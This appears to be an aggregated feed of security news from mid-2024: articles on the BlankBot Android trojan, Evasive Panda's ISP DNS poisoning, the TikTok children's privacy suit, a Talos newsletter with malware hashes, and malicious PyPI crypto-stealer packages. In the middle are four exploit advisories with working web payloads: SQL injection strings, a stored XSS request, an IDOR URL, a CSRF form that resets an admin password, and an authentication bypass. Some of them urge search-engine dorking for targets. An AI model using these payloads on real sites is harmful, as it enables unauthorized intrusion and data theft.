A list of topics we covered in the week of July 29 to August 4 of 2024

August 2, 2024 - The FBI warns about scammers that impersonate employees of cryptocurrrency exchanges as a means to defraud victims

July 31, 2024 - Meta has settled a Texas lawsuit over gathering biometric data for Facebook's "Tag Suggestions" feature without informed consent.

July 31, 2024 - Apple has released security updates that patch vulnerabilities in Siri and VoiceOver that could be used to access sensitive user data.

July 30, 2024 - Only trust official sources they say, but what happens when a Google vetted ad is for a Google product?

July 29, 2024 - This week on the Lock and Code podcast, we speak with Jess Dodson about SIEM selection, management, and proper data collection.

 A week in security (July 29 &#8211; August 4) 

Cybersecurity researchers have discovered a new Android banking trojan called BlankBot targeting Turkish users with an aim to steal financial information.
"BlankBot features a range of malicious capabilities, which include customer injections, keylogging, screen recording and it communicates with a control server over a WebSocket connection," Intel 471 said in an analysis published last week.

Mobile Security / Financial Security

Cybersecurity researchers have discovered a new Android banking trojan called BlankBot targeting Turkish users with an aim to steal financial information.

"BlankBot features a range of malicious capabilities, which include customer injections, keylogging, screen recording and it communicates with a control server over a WebSocket connection," Intel 471 said in an analysis published last week.

Discovered on July 24, 2024, BlankBot is said to be undergoing active development, with the malware abusing Android's accessibility services permissions to obtain full control over the infected devices.

The names of some of the malicious APK files containing BlankBot are listed below -

*   app-release.apk (com.abcdefg.w568b)
*   app-release.apk (com.abcdef.w568b)
*   app-release-signed (14).apk (com.whatsapp.chma14)
*   app.apk (com.whatsapp.chma14p)
*   app.apk (com.whatsapp.w568bp)
*   showcuu.apk (com.whatsapp.w568b)

Like the recently resurfaced Mandrake Android trojan, BlankBot implements a session-based package installer to circumvent the restricted settings feature introduced in Android 13 to block sideloaded applications from directly requesting dangerous permissions.

"The bot asks the victim to allow installing applications from the third-party sources, then it retrieves the Android package kit (APK) file stored inside the application assets directory with no encryption and proceeds with the package installation process," Intel 471 said.

The malware comes with a wide range of features to perform screen recording, keylogging, and inject overlays based on specific commands received from a remote server to harvest bank account credentials, payment data, and even the pattern used to unlock the device.

BlankBot is also capable of intercepting SMS messages, uninstalling arbitrary applications, and gathering data such as contact lists and installed apps. It further makes use of the accessibility services API to prevent the user from accessing device settings or launching antivirus apps.

"BlankBot is a new Android banking trojan still under development, as evidenced by the multiple code variants observed in different applications," the cybersecurity company said. "Regardless, the malware can perform malicious actions once it infects an Android device."

The disclosure comes as Google outlined the various steps it's taking to combat threat actors' use of cell-site simulators like Stingrays to inject SMS messages directly into Android phones, a fraud technique referred to as SMS Blaster fraud.

"This method to inject messages entirely bypasses the carrier network, thus bypassing all the sophisticated network-based anti-spam and anti-fraud filters," Google said. "SMS Blasters expose a fake LTE or 5G network which executes a single function: downgrading the user's connection to a legacy 2G protocol."

The mitigation measures include a user option to disable 2G at the modem level and turn off null ciphers, the latter of which is an essential configuration for a False Base Station in order to inject an SMS payload.

Earlier this May, Google also said it's stepping up cellular security by alerting users if their cellular network connection is unencrypted and if criminals are using cell-site simulators to snoop on users or send them SMS-based fraud messages.

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New Android Trojan "BlankBot" Targets Turkish Users' Financial Data

The China-linked threat actor known as Evasive Panda compromised an unnamed internet service provider (ISP) to push malicious software updates to target companies in mid-2023, highlighting a new level of sophistication associated with the group.
Evasive Panda, also known by the names Bronze Highland, Daggerfly, and StormBamboo, is a cyber espionage group that's been active since at least 2012,

Browser Security / Windows Security

The China-linked threat actor known as **Evasive Panda** compromised an unnamed internet service provider (ISP) to push malicious software updates to target companies in mid-2023, highlighting a new level of sophistication associated with the group.

Evasive Panda, also known by the names Bronze Highland, Daggerfly, and StormBamboo, is a cyber espionage group that's been active since at least 2012, leveraging backdoors such as MgBot (aka POCOSTICK) and Nightdoor (aka NetMM and Suzafk) to harvest sensitive information.

More recently, the threat actor was formally attributed to the use of a macOS malware strain called MACMA, which has been observed in the wild as far back as 2021.

"StormBamboo is a highly skilled and aggressive threat actor who compromises third-parties (in this case, an ISP) to breach intended targets," Volexity said in a report published last week.

"The variety of malware employed in various campaigns by this threat actor indicates significant effort is invested, with actively supported payloads for not only macOS and Windows, but also network appliances."

Public reporting from ESET and Symantec over the past two years have documented Evasive Panda's use of MgBot and its track record of orchestrating watering hole and supply chain attacks targeting Tibetan users.

It was also found to have targeted an international non-governmental organization (NGO) in Mainland China with MgBot delivered via update channels of legitimate applications like Tencent QQ.

While it was speculated that the trojanized updates were either the result of a supply chain compromise of Tencent QQ's update servers or a case of an adversary-in-the-middle (AitM) attack, Volexity's analysis confirms it's the latter stemming from a DNS poisoning attack at the ISP level.

Specifically, the threat actor is said to be altering DNS query responses for specific domains tied to automatic software update mechanisms, going after software that used insecure update mechanisms, such as HTTP, or did not enforce adequate integrity checks of the installers.

"It was discovered that StormBamboo poisoned DNS requests to deploy malware via an HTTP automatic update mechanism and poison responses for legitimate hostnames that were used as second-stage, command-and-control (C2) servers," researchers Ankur Saini, Paul Rascagneres, Steven Adair, and Thomas Lancaster said.

The attack chains are fairly straightforward in that the insecure update mechanisms are abused to deliver either MgBot or MACMA depending on the operating system used. Volexity said it notified the concerned ISP to remediate the DNS poisoning attack.

One instance also entailed the deployment of a Google Chrome extension on the victim's macOS device by modifying the Secure Preferences file. The browser add-on purports to be a tool that loads a page in compatibility mode with Internet Explorer, but its main objective is to exfiltrate browser cookies to a Google Drive account controlled by the adversary.

"The attacker can intercept DNS requests and poison them with malicious IP addresses, and then use this technique to abuse automatic update mechanisms that use HTTP rather than HTTPS," the researchers said.

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China-Linked Hackers Compromise ISP to Deploy Malicious Software Updates

The U.S. Department of Justice (DoJ), along with the Federal Trade Commission (FTC), filed a lawsuit against popular video-sharing platform TikTok for "flagrantly violating" children's privacy laws in the country.
The agencies claimed the company knowingly permitted children to create TikTok accounts and to view and share short-form videos and messages with adults and others on the service.
They

Privacy / Data Protection

The U.S. Department of Justice (DoJ), along with the Federal Trade Commission (FTC), filed a lawsuit against popular video-sharing platform TikTok for "flagrantly violating" children's privacy laws in the country.

The agencies claimed the company knowingly permitted children to create TikTok accounts and to view and share short-form videos and messages with adults and others on the service.

They also accused it of illegally collecting and retaining a wide variety of personal information from these children without notifying or obtaining consent from their parents, in contravention of the Children's Online Privacy Protection Act (COPPA).

TikTok's practices also infringed a 2019 consent order between the company and the government in which it pledged to notify parents before collecting children's data and remove videos from users under 13 years old, they added.

COPPA requires online platforms to gather, use, or disclose personal information from children under the age of 13, unless they have obtained consent from their parents. It also mandates companies to delete all the collected information at the parents' request.

"Even for accounts that were created in 'Kids Mode' (a pared-back version of TikTok intended for children under 13), the defendants unlawfully collected and retained children's email addresses and other types of personal information," the DoJ said.

"Further, when parents discovered their children's accounts and asked the defendants to delete the accounts and information in them, the defendants frequently failed to honor those requests."

The complaint further alleged the ByteDance-owned company subjected millions of children under 13 to extensive data collection that enabled targeted advertising and allowed them to interact with adults and access adult content.

It also faulted TikTok for not exercising adequate due diligence during the account creation process by building backdoors that made it possible for children to bypass the age gate aimed at screening those under 13 by letting them sign in using third-party services like Google and Instagram and classifying such accounts as "age unknown" accounts.

"TikTok human reviewers allegedly spent an average of only five to seven seconds reviewing each account to make their determination of whether the account belonged to a child," the FTC said, adding it will take steps to protect children's privacy from firms that deploy "sophisticated digital tools to surveil kids and profit from their data."

TikTok has more than 170 million active users in the U.S. While the company has disputed the allegations, it's the latest setback for the video platform, which is already the subject of a law that would force a sale or a ban of the app by early 2025 because of national security concerns. It has filed a petition in federal court seeking to overturn the ban.

"We disagree with these allegations, many of which relate to past events and practices that are factually inaccurate or have been addressed," TikTok said. "We offer age-appropriate experiences with stringent safeguards, proactively remove suspected underage users, and have voluntarily launched features such as default screen time limits, Family Pairing, and additional privacy protections for minors."

The social media platform has also faced scrutiny globally over child protection. European Union regulators handed TikTok a €345 million fine in September 2023 for violating data protection laws in relation to its handling of children's data. In April 2023, it was fined £12.7 million by the ICO for illegally processing the data of 1.4 million children under 13 who were using its platform without parental consent.

The lawsuit comes as the U.K. Information Commissioner's Office (ICO) revealed it asked 11 media and video-sharing platforms to improve their children's privacy practices or risk facing enforcement action. The names of the offending services were not disclosed.

"Eleven out of the 34 platforms are being asked about issues relating to default privacy settings, geolocation or age assurance, and to explain how their approach conforms with the \[Children's Code\]," it said. "We are also speaking to some of the platforms about targeted advertising to set out expectations for changes to ensure practices are in line with both the law and the code."

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DOJ and FTC Sue TikTok for Violating Children's Privacy Laws

Leads Manager Tool suffers from remote SQL injection and cross site scripting vulnerabilities.

    [x]========================================================================================================================================[x] | Title        : Leads Manager Tool SQL & XSS[stored)] Vulnerabilities | Software     : Leads Manager Tool Using PHP and MySQL with Source Code | Create By  : https://www.sourcecodester.com/users/remyandrade | First Release: 25/01/22 | Download     : https://www.sourcecodester.com/php/17510/leads-manager-tool-using-php-and-mysql-source-code.html | Date         : 30 Agustus 2024 | Author       : OoN_Boy[x]========================================================================================================================================[x] | Technology       : PHP | Database         : MySQL | Price            : FREE | Description      : Leads Manager Tool, a comprehensive web application designed to streamline the process of managing business leads. Built with the power of PHP and MySQL, this tool offers a seamless and user-friendly experience for storing, updating, and organizing lead information[x]========================================================================================================================================[x][O] Exploit    http://localhost/leads-manager-tool/endpoint/delete-leads.php?leads=[SQL]  http://localhost/leads-manager-tool/endpoint/add-leads.php    [O] Proof of concept  [SQL]  Parameter: leads (GET)    Type: boolean-based blind  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause  Payload: leads= --emurate' RLIKE (SELECT (CASE WHEN (8305=8305) THEN 0x202d2d656d7572617465 ELSE 0x28 END))-- rUwl  Type: error-based  Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  Payload: leads= --emurate' OR (SELECT 1382 FROM(SELECT COUNT(*),CONCAT(0x7162787171,(SELECT (ELT(1382=1382,1))),0x7176706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- vKls  Type: stacked queries  Title: MySQL >= 5.0.12 stacked queries (comment)  Payload: leads= --emurate';SELECT SLEEP(5)#  Type: time-based blind  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  Payload: leads= --emurate' AND (SELECT 1244 FROM (SELECT(SLEEP(5)))fAev)-- ZNBt    [XSS]    POST /leads-manager-tool/endpoint/add-leads.php HTTP/1.1  Host: 127.0.0.1  Accept-Encoding: gzip, deflate, br  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  Accept-Language: en-US;q=0.9,en;q=0.8  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36  Connection: close  Cache-Control: max-age=0  Origin: http://127.0.0.1  Upgrade-Insecure-Requests: 1  Referer: http://127.0.0.1/leads-manager-tool/  Content-Type: application/x-www-form-urlencoded  Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="126", "Chromium";v="126"  Sec-CH-UA-Platform: Windows  Sec-CH-UA-Mobile: ?0  Content-Length: 85  leads_name=Vrs<script>alert(1)</script>Hck&email_add=vrs-hck@maho.id&phone_number=911-911-9111    [x]========================================================================================================================================[x][O] GreetzBatamHacker, Vrs-hCk, c0li, h4ntu, Opay, Ndet, Ipay, Paman, NoGe, H312Y, dono, pizzyroot, zxvf, Joe Chawanua, k0rea [Ntc],xx_user, s3t4n, Angela Chang, IrcMafia, str0ke, em|nem, Pandoe, Ronny ^s0n g0ku^[x]========================================================================================================================================[x]

Leads Manager Tool SQL Injection / Cross Site Scripting

Appointment Scheduler version 3.0 suffers from an insecure direct object reference vulnerability.

    =============================================================================================================================================| # Title     : Appointment Scheduler v3.0 IDOR Vulnerability                                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://auth.phpjabbers.com/download/727641/53089/d9b13cca42bb941a9f06d96f22fb7743                                          |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Direct Object Reference : Allows you as a visitor to access the control panel without permissions.[+] use payload : index.php?controller=pjAdminBookings&action=pjActionExport[+] http://127.0.0.1/www/ wongkit.com.hk/appointment/index.php?controller=pjAdminBookings&action=pjActionExportGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Appointment Scheduler 3.0 Insecure Direct Object Reference

AccPack Cop version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : AccPack Cop v1.0 CSRF Vulnerability                                                                                         |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            |  
| # Vendor    : http://webpay.com.np/#Product                                                                                               |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following HTML code modifies the admin information.

[+] Go to the line 5. Set the target site link Save changes and apply . 

[+] infected file : cms/user/modify.php.

[+] http://127.0.0.1/q7.3/cms/user/modify.php.

[+] save code as poc.html 

[+] payload : 

</head>  
<body>  
  <div class="container">  
    <div class="text-center" style="padding: 5px"><h3>User Edit</h3></div>  
    <form action="https://tssclahanorgnp/cms/user/modify.php" method="POST"  enctype="multipart/form-data">  
      <div hidden="true">  
        <input type="text" name="id" id="id" value="1">  
      </div>  
       <div>  
        <label for='email'>Email</label><input  type="text" class="form-control" name='email' id='email' value="indoushka@mail.dz">  
       </div>  
       <div>  
        <label for='password'>Password</label><input  type="text" class="form-control" name='password' id='password' type='password' value="123456">  
       </div>  
       <tr>  
       <div>  
        <label for='status'>Status</label>  
          <input type="radio" name="status" id="actiive" value="1" checked /> <label for="active">Active</label>  
          <input type="radio" name="status" id="passive" value="0" /><label for="passive">Passive</label>

               </div>     
       <div style='height:80'>  
        <input type='submit' value='Submit'><input type='reset' Value='Reset'>  
       </div>  
    </form>  
  </div>

</body>  
</html>

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

AccPack Cop 1.0 Cross Site Request Forgery

AccPack Buzz version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    =============================================================================================================================================| # Title     : AccPack Buzz v1.0 Auth By Pass Vulnerability                                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : http://webpay.com.np/#Product                                                                                               |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : user & pass = ' or 0=0 ##[+] Panel : http://127.0.0.1/jamiatulamanepal.orgnp/cms/Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

AccPack Buzz 1.0 SQL Injection

The lesson for users, especially if you’re a private company that primarily uses GitHub, is just to understand the inherent dangers of using open-source software.

Thursday, August 1, 2024 14:00

A recently discovered security issue in GitHub and other, similar, control system products seem to fit into the classic “it’s a feature, not a bug” category. 

Security researchers last week published their findings into some research of how deleted forks in GitHub work, potentially leaving the door open for a malicious actor to steal a project key and then view deleted forks and versions of any project on GitHub. 

This may not necessarily even be a \*new\* discovery, because users on social media were quick to point out that these products have always been designed this way, so it’s not like a new sort of exploit had just been published. But the publishing of these findings came after Truffle Security says a major tech company accidentally leaked a private key for an employee GitHub account, and despite totally deleting the repo thinking that would take care of the leak, it was still exposed and accessed by potentially malicious users.  

This potential issue has not been tested in similar software like GitLab or Bitbucket, but conceivably, they’ve all been designed in the same way. The major difference for GitHub is that deleted or unpublished commits can be downloaded via a fork if the user has the correct identifying hash (or at least a portion of it).  

The issue here is there is no real patch or fix to address this issue, and now it’s widely known and been publicized on the internet.  

GitHub told The Register that this is part of how the software is designed, and there doesn’t appear any efforts underway to change that. 

“GitHub is committed to investigating reported security issues. We are aware of this report and have validated that this is expected and documented behavior inherent to how fork networks work. You can read more about how deleting or changing visibility affects repository forks in our documentation,” the company said in a statement to online publication The Register. 

The lesson for users, especially if you’re a private company that primarily uses GitHub, is just to understand the inherent dangers of using open-source software like those projects that are created and managed on GitHub. (Martin Lee and I will be discussing more in tomorrow morning’s episode of Talos Takes.) 

The other option is that, if you’re a GitHub user and at some point, published a key, you should probably just assume someone has copied it by now. That means not only deleting references to that key but rotating the key and checking if it was used improperly.  

**The one big thing **

Cisco Talos recently discovered a malicious campaign that compromised a Taiwanese Government Affiliated Research Institute that started as early as July 2023, delivering Shadowpad malware, Cobalt Strike and other customized tools for post-compromise activities. The activity conducted on the victim endpoint matches the Chinese hacking group APT41. The combined use of malware, open-source tools and projects procedures and post-compromise activity matches this group method of operation. ShadowPad, widely considered the successor of PlugX, is a modular remote-access-trojan (RAT) only seen sold to Chinese hacking groups. 

**Why do I care? **

APT41 is a prolific and dangerous threat actor that all users and cybersecurity practitioners should be keeping track of. The group, also known as Amoeba, Bronze Atlas, Wicked Spider, and more, is known for carrying out Chinese state-sponsored espionage activity and other financially motivated cybercrimes. We have also uncovered that APT41 created a tailored loader to inject a proof of concept for CVE-2018-0824, a remote code execution vulnerability in Microsoft COM for Windows, directly into memory to achieve local privilege escalation. 

**So now what? **

This threat actor commonly tries to exploit CVE-2018-0824, which Microsoft has long had a patch available for. Users should ensure all Windows systems are up to date to the latest version to protect against this vulnerability (and the hundreds of others that exist in Windows anyway!). Additionally, Talos has released new ClamAV signatures and Snort rules to detect the ShadowPad malware and Cobalt Strike beacons used by APT41.  

**Top security headlines of the week **

**Another Microsoft outage just days after the massive CrowdStrike-related incident was the result of a cyber attack, according to the company.** The outage Wednesday morning affected Microsoft Outlook and the video game “Minecraft” for almost 10 hours and forced thousands of users to report issues. The incident gained increased interest in the wake of a massive outage last weekend that resulted in international disruptions and tens of millions of dollars in damages. Microsoft stated after the outage was resolved that the initial issue was caused by a distributed denial-of-service attack, and additional mitigations to defend against that DDoS attack failed. A notification on Microsoft’s website said the outage affected Microsoft Azure, the cloud platform that powers many of its services, and Microsoft 365. It also said cloud systems Intune and Entra were affected. Even though Microsoft had no direct involvement in the previous outage, the company has been under a microscope since the incident. That outage was caused by a faulty update to CrowdStrike Falcon that was pushed to many versions of Windows 11. (BBC, Forbes) 

**A new version of the Mandrake Android spyware appears to be spreading through phony apps on the Google Play store.** The revised spyware, used to unknowingly track users’ location and activity on their mobile devices, has been downloaded more than 32,000 times since 2022, according to new research. The original version of Mandrake was active between two periods, one in 2016 and 2017 and another between 2018 and 2020. Besides the usual spyware functions, Mandrake can completely wipe a device with a killswitch, leaving no trace of the malware. Spyware commonly targets highly vulnerable individuals, including politicians, activists and journalists. Spouses and romantic partners may also use it to unknowingly track their significant others. The most popular fake app used was AirFS, an advertised file-sharing app, that was downloaded more than 30,000 times before it was removed from the Google Play store. Once the user installs the phony app, the Mandrake malware is unknowingly installed, and it asks for the user’s permission to draw overlays on their screen under the guise of the illegitimate app. (Bleeping Computer, Security Affairs) 

**North Korean APT Andariel is accused of carrying out a series of espionage-focused campaigns targeting U.S. weapon systems over the past two years.** Security researchers say the state-sponsored group targeted healthcare providers, defense contractors and nuclear facilities, possibly to steal information that could improve the country’s own weapons programs. North Korea is constantly using its posession of nuclear weapons to try and intimidate Western countries. Separately, the U.S. indicted a North Korean citizen for his alleged involvement in several cyber attacks against American hospitals. The individual, suspected of having ties to North Korea’s Reconnaissance General Bureau, allegedly targeted hospitals in Florida and Kansas, healthcare providers in Arkansas and Connecticut, and a clinic in Colorado. The U.S. State Department is offering a reward of up to $10 million for information that leads to the arrest of Rim Jong Hyok. (The Record, CNN) 

**Can’t get enough Talos? **

*   Ransomware and email attacks are hitting businesses more than ever before 
*   Cisco Talos: An oral history 
*   Vulnerability Roundup: Out-of-bounds read vulnerability in NVIDIA driver; Open-source flashcard software contains multiple security issues 
*   Talos Takes Ep. #192: Threat actor trends and the most prevalent malware from the past quarter 

**Upcoming events where you can find Talos **

**_BlackHat USA_** **_(Aug. 3 – 8)_** 

_Las Vegas, Nevada_ 

**_Defcon_** **_(Aug. 8 – 11)_** 

_Las Vegas, Nevada_ 

**_BSides Krakow_** **_(Sept. 14)_**  

_Krakow, Poland_ 

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
**MD5:** 2915b3f8b703eb744fc54c81f4a9c67f f  
**Typical Filename:** VID001.exe  
**Claimed Product:** N/A  
**Detection Name:** Win.Worm.Coinminer::1201

**SHA 256:** c67b03c0a91eaefffd2f2c79b5c26a2648b8d3c19a22cadf35453455ff08ead0  
**MD5:** 8c69830a50fb85d8a794fa46643493b2  
**Typical Filename:** AAct.exe  
**Claimed Product:** N/A  
**Detection Name:** PUA.Win.Dropper.Generic::1201

**SHA 256:** 161937ed1502c491748d055287898dd37af96405aeff48c2500b834f6739e72d  
**MD5:** fd743b55d530e0468805de0e83758fe9  
**Typical Filename:** KMSAuto Net.exe  
**Claimed Product:** KMSAuto Net  
**Detection Name:** W32.File.MalParent

**SHA 256:** 24283c2eda68c559f85db7bf7ccfe3f81e2c7dfc98a304b2056f1a7c053594fe  
**MD5:** 49ae44d48c8ff0ee1b23a310cb2ecf5a  
**Typical Filename:** nYzVlQyRnQmDcXk  
**Claimed Product:** N/A  
**Detection Name:** Win.Dropper.Scar::tpd

**SHA 256:** bea312ccbc8a912d4322b45ea64d69bb3add4d818fd1eb7723260b11d76a138a  
**MD5:** 200206279107f4a2bb1832e3fcd7d64c  
**Typical Filename:** lsgkozfm.bat  
**Claimed Product:** N/A  
**Detection Name:** Win.Dropper.Scar::tpd

There is no real fix to the security issues recently found in GitHub and other similar software

In yet another sign that threat actors are always looking out for new ways to trick users into downloading malware, it has come to light that the question-and-answer (Q&A) platform known as Stack Exchange has been abused to direct unsuspecting developers to bogus Python packages capable of draining their cryptocurrency wallets.
"Upon installation, this code would execute automatically,

In yet another sign that threat actors are always looking out for new ways to trick users into downloading malware, it has come to light that the question-and-answer (Q&A) platform known as Stack Exchange has been abused to direct unsuspecting developers to bogus Python packages capable of draining their cryptocurrency wallets.

"Upon installation, this code would execute automatically, setting in motion a chain of events designed to compromise and control the victim's systems, while also exfiltrating their data and draining their crypto wallets," Checkmarx researchers Yehuda Gelb and Tzachi Zornstain said in a report shared with The Hacker News.

The campaign, which began on June 25, 2024, specifically singled out cryptocurrency users involved with Raydium and Solana. The list of rogue packages uncovered as part of the activity is listed below -

*   raydium (762 downloads)
*   raydium-sdk (137 downloads)
*   sol-instruct (115 downloads)
*   sol-structs (292 downloads)
*   spl-types (776 downloads)

The packages have been collectively downloaded 2,082 times. They are no longer available for download from the Python Package Index (PyPI) repository.

The malware concealed within the package served a full-fledged information stealer, casting a wide net of data, including web browser passwords, cookies, and credit card details, cryptocurrency wallets, and information associated with messaging apps like Telegram, Signal, and Session.

It also packed in capabilities to capture screenshots of the system, and search for files containing GitHub recovery codes and BitLocker keys. The gathered information was then compressed and exfiltrated to two different Telegram bots maintained by the threat actor.

Separately, a backdoor component present in the malware granted the attacker persistent remote access to victims' machines, enabling potential future exploits and long-term compromise.

The attack chain spans multiple stages, with the "raydium" package listing "spl-types" as a dependency in an attempt to conceal the malicious behavior and give users the impression that it was legitimate.

A notable aspect of the campaign is the use of Stack Exchange as a vector to drive adoption by posting ostensibly helpful answers referencing the package in question to developer questions related to performing swap transactions in Raydium using Python.

"By choosing a thread with high visibility — garnering thousands of views—the attacker maximized their potential reach," the researchers said, adding it was done so to "lend credibility to this package and ensure its widespread adoption."

While the answer no longer exists on Stack Exchange, The Hacker News found references to "raydium" in another unanswered question posted on the Q&A site dated July 9, 2024: "I have been struggling for nights to get a swap on solana network running in python 3.10.2 installed solana, solders and Raydium but I can't get it to work," a user said.

References to "raydium-sdk" have also surfaced in a post titled "How to Buy and Sell Tokens on Raydium using Python: A Step-by-Step Solana Guide" that was shared by a user named SolanaScribe on the social publishing platform Medium on June 29, 2024.

It's currently not clear when the packages were removed from PyPI, as two other users have responded to the Medium post seeking help from the author about installing "raydium-sdk" as recently as six days ago. Checkmarx told The Hacker News that the post is not the work of the threat actor.

This is not the first time bad actors have resorted to such a malware distribution method. Earlier this May, Sonatype revealed how a package named pytoileur was promoted via another Q&A service called Stack Overflow to facilitate cryptocurrency theft.

If anything, the development is evidence that attackers are leveraging trust in these community-driven platforms to push malware, leading to large-scale supply chain attacks.

"A single compromised developer can inadvertently introduce vulnerabilities into an entire company's software ecosystem, potentially affecting the whole corporate network," the researchers said. "This attack serves as a wake-up call for both individuals and organizations to reassess their security strategies."

The development comes as Fortinet FortiGuard Labs detailed a malicious PyPI package called zlibxjson that packed features to steal sensitive information, such as Discord tokens, cookies saved in Google Chrome, Mozilla Firefox, Brave, and Opera, and stored passwords from the browsers. The library attracted a total of 602 downloads before it was pulled from PyPI.

"These actions can lead to unauthorized access to user accounts and the exfiltration of personal data, clearly classifying the software as malicious," security researcher Jenna Wang said.

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